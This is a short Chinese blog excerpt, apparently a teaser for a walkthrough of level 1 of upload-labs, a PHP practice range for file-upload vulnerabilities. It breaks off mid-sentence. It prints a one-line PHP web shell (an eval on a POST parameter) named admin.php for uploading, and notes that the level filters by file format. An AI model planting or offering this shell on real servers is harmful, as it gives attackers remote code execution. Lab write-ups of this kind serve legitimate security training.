upload-labs 靶場第一關

簡介 upload-labs是一個使用php語言編寫的，專門收集滲透測試過程中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的瞭解。目前一共19關，每一關都包含着不同上傳方式。 第一關 木馬內容爲<?php @eval($_POST['caidao']);?> 命名爲admin.php 先以PHP格式上傳試一下 我們再看一下源碼 顯而易見 這一關是通過限制上傳文件的格式來防禦的 那麼我

>>阅读原文<<